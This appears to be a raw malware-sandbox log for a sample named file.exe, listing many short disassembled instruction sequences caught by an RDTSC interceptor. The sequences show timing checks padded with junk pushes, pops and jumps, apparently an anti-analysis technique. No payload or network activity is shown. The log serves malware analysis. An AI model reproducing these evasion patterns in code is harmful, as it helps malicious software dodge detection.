Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B73F8B second address: B73FAF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 push esi 0x00000006 jmp 00007F8AA8B7BB99h 0x0000000b pop esi 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B74135 second address: B7413B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B7413B second address: B74141 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B74141 second address: B74145 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B74145 second address: B74149 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B7457C second address: B7458B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F8AA8C154CBh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B7486B second address: B74877 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 jnl 00007F8AA8B7BB86h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B78E95 second address: B78EA0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 pushad 0x00000006 popad 0x00000007 push esi 0x00000008 pop esi 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B79022 second address: B79039 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 jc 00007F8AA8B7BB88h 0x0000000f push ecx 0x00000010 pop ecx 0x00000011 push eax 0x00000012 push edx 0x00000013 pushad 0x00000014 popad 0x00000015 push esi 0x00000016 pop esi 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B794C7 second address: B794CB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B794CB second address: B794EB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F8AA8B7BB93h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pop ecx 0x0000000c push edi 0x0000000d push ebx 0x0000000e pushad 0x0000000f popad 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B79C1A second address: B79C20 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B79C20 second address: B79C25 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B79C25 second address: B79C3C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F8AA8C154D3h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B80AE5 second address: B80AEA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B80AEA second address: B80AF0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B80AF0 second address: B80AF4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B805F9 second address: B80605 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 js 00007F8AA8C154C6h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B80605 second address: B8060B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B8060B second address: B8061A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push ebx 0x00000008 pop ebx 0x00000009 jnc 00007F8AA8C154C6h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B80794 second address: B807F6 instructions: 0x00000000 rdtsc 0x00000002 jne 00007F8AA8B7BB86h 0x00000008 push edi 0x00000009 pop edi 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push ebx 0x0000000d jmp 00007F8AA8B7BB8Ah 0x00000012 pop ebx 0x00000013 pushad 0x00000014 push edi 0x00000015 pop edi 0x00000016 jmp 00007F8AA8B7BB8Fh 0x0000001b popad 0x0000001c jmp 00007F8AA8B7BB97h 0x00000021 popad 0x00000022 jo 00007F8AA8B7BBB8h 0x00000028 push eax 0x00000029 push edx 0x0000002a jmp 00007F8AA8B7BB97h 0x0000002f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AFCE33 second address: AFCE55 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push ecx 0x00000004 pop ecx 0x00000005 pushad 0x00000006 popad 0x00000007 pop ecx 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b push ebx 0x0000000c jmp 00007F8AA8C154CDh 0x00000011 pop ebx 0x00000012 jl 00007F8AA8C154CCh 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AFCE55 second address: AFCE5D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 push esi 0x00000007 pop esi 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AFCE5D second address: AFCE61 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B8363D second address: B83642 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B85E34 second address: B85E4F instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 jmp 00007F8AA8C154D6h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AFE9C3 second address: AFE9D1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 popad 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a push ebx 0x0000000b pop ebx 0x0000000c pushad 0x0000000d popad 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B89240 second address: B89246 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B8950F second address: B8952A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jno 00007F8AA8B7BB86h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pop ebx 0x0000000d push eax 0x0000000e push edx 0x0000000f jng 00007F8AA8B7BB8Ch 0x00000015 jne 00007F8AA8B7BB86h 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B8952A second address: B89531 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B8FFFC second address: B9001D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 pop edx 0x00000007 js 00007F8AA8B7BB9Ah 0x0000000d jmp 00007F8AA8B7BB92h 0x00000012 push ebx 0x00000013 pop ebx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B8E9EE second address: B8E9F9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B8E9F9 second address: B8E9FD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B8E9FD second address: B8EA01 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B8EB8A second address: B8EB94 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnp 00007F8AA8B7BB86h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B8EE3A second address: B8EE46 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push ebx 0x00000009 pushad 0x0000000a popad 0x0000000b pop ebx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B8EE46 second address: B8EE59 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 jnc 00007F8AA8B7BB86h 0x00000009 pop esi 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 popad 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B8EE59 second address: B8EE5D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B8EE5D second address: B8EE68 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B8EE68 second address: B8EE6E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B8EE6E second address: B8EE7D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jbe 00007F8AA8B7BB86h 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B3BBC0 second address: B3BBC4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B3BBC4 second address: B3BBCA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B3BBCA second address: B3BBE4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F8AA8C154D6h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B3BBE4 second address: B3BBE8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B3BBE8 second address: B3BC1F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp], eax 0x0000000b mov di, cx 0x0000000e add ecx, dword ptr [ebp+122D393Ch] 0x00000014 mov ebx, dword ptr [ebp+1248ABEFh] 0x0000001a mov ecx, edi 0x0000001c add eax, ebx 0x0000001e push edi 0x0000001f mov edi, ebx 0x00000021 pop edi 0x00000022 nop 0x00000023 push edi 0x00000024 push esi 0x00000025 jnp 00007F8AA8C154C6h 0x0000002b pop esi 0x0000002c pop edi 0x0000002d push eax 0x0000002e push ebx 0x0000002f js 00007F8AA8C154CCh 0x00000035 push eax 0x00000036 push edx 0x00000037 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B8F0FD second address: B8F102 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B8F102 second address: B8F11C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F8AA8C154D4h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B8F11C second address: B8F120 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B8F120 second address: B8F157 instructions: 0x00000000 rdtsc 0x00000002 jng 00007F8AA8C154C6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d jns 00007F8AA8C154D2h 0x00000013 push edi 0x00000014 jmp 00007F8AA8C154D5h 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B92651 second address: B92655 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B92655 second address: B92696 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jnp 00007F8AA8C154DAh 0x0000000c jmp 00007F8AA8C154CEh 0x00000011 jno 00007F8AA8C154C6h 0x00000017 popad 0x00000018 push eax 0x00000019 push edx 0x0000001a jl 00007F8AA8C154DEh 0x00000020 jmp 00007F8AA8C154D6h 0x00000025 pushad 0x00000026 popad 0x00000027 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B92825 second address: B92831 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 ja 00007F8AA8B7BB86h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B92831 second address: B92835 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B98490 second address: B98495 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B98CEC second address: B98CF0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B9927E second address: B99284 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B99811 second address: B99815 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B99815 second address: B99826 instructions: 0x00000000 rdtsc 0x00000002 js 00007F8AA8B7BB86h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edi 0x0000000b pushad 0x0000000c push edx 0x0000000d pushad 0x0000000e popad 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B9DCA1 second address: B9DCA5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B9DCA5 second address: B9DCAF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push ecx 0x00000009 pop ecx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B9E42B second address: B9E42F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B9E42F second address: B9E455 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 js 00007F8AA8B7BB86h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c jmp 00007F8AA8B7BB90h 0x00000011 pop edx 0x00000012 pushad 0x00000013 jng 00007F8AA8B7BB8Ch 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B9E622 second address: B9E626 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B9E626 second address: B9E62C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BAA660 second address: BAA668 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 push edx 0x00000005 pop edx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BAAAA5 second address: BAAAB2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 jp 00007F8AA8B7BB8Ch 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BAAC32 second address: BAAC43 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 ja 00007F8AA8C154C6h 0x00000009 jg 00007F8AA8C154C6h 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BAADD4 second address: BAADDA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BAAF04 second address: BAAF1C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F8AA8C154D2h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BAAF1C second address: BAAF21 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BAAF21 second address: BAAF50 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jno 00007F8AA8C154C6h 0x0000000d jmp 00007F8AA8C154D6h 0x00000012 popad 0x00000013 pop edx 0x00000014 pop eax 0x00000015 pushad 0x00000016 push edx 0x00000017 push ebx 0x00000018 pop ebx 0x00000019 pop edx 0x0000001a push eax 0x0000001b push edx 0x0000001c pushad 0x0000001d popad 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BAAF50 second address: BAAF76 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jnp 00007F8AA8B7BBA4h 0x0000000c jmp 00007F8AA8B7BB98h 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BAB0DC second address: BAB0E6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 pushad 0x00000006 pushad 0x00000007 popad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BAB232 second address: BAB236 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BAA1AF second address: BAA1B3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BAA1B3 second address: BAA1B9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BAA1B9 second address: BAA1E6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push ebx 0x00000004 pop ebx 0x00000005 pop eax 0x00000006 pushad 0x00000007 pushad 0x00000008 popad 0x00000009 pushad 0x0000000a popad 0x0000000b pushad 0x0000000c popad 0x0000000d jmp 00007F8AA8C154D4h 0x00000012 popad 0x00000013 pop edx 0x00000014 pop eax 0x00000015 jo 00007F8AA8C154E0h 0x0000001b push ebx 0x0000001c push eax 0x0000001d push edx 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BB216B second address: BB2176 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 pushad 0x00000008 popad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BB1AD9 second address: BB1ADD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BB1ADD second address: BB1AF7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F8AA8B7BB8Eh 0x0000000b push eax 0x0000000c push edx 0x0000000d push ecx 0x0000000e pop ecx 0x0000000f pushad 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BB1C83 second address: BB1C90 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F8AA8C154C6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push esi 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BB1C90 second address: BB1CA8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 pop esi 0x00000007 jmp 00007F8AA8B7BB8Bh 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BB1CA8 second address: BB1CAC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BB1CAC second address: BB1CB0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BB1DFE second address: BB1E1F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push esi 0x00000005 pop esi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 jmp 00007F8AA8C154CCh 0x0000000e pop eax 0x0000000f popad 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 push edx 0x00000014 jnc 00007F8AA8C154C6h 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BB1E1F second address: BB1E23 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BB1E23 second address: BB1E29 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BBCB41 second address: BBCB4D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ebx 0x00000007 push esi 0x00000008 pop esi 0x00000009 push ebx 0x0000000a pop ebx 0x0000000b pop ebx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BBCB4D second address: BBCB52 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BBCCCA second address: BBCCF9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 jmp 00007F8AA8B7BB90h 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F8AA8B7BB94h 0x00000013 pushad 0x00000014 popad 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BBCCF9 second address: BBCD07 instructions: 0x00000000 rdtsc 0x00000002 js 00007F8AA8C154C6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d popad 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BBF448 second address: BBF45B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F8AA8B7BB8Fh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BD16F4 second address: BD16F8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BD16F8 second address: BD16FC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BD16FC second address: BD1709 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BD1709 second address: BD1721 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F8AA8B7BB94h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BD1721 second address: BD1732 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8AA8C154CDh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
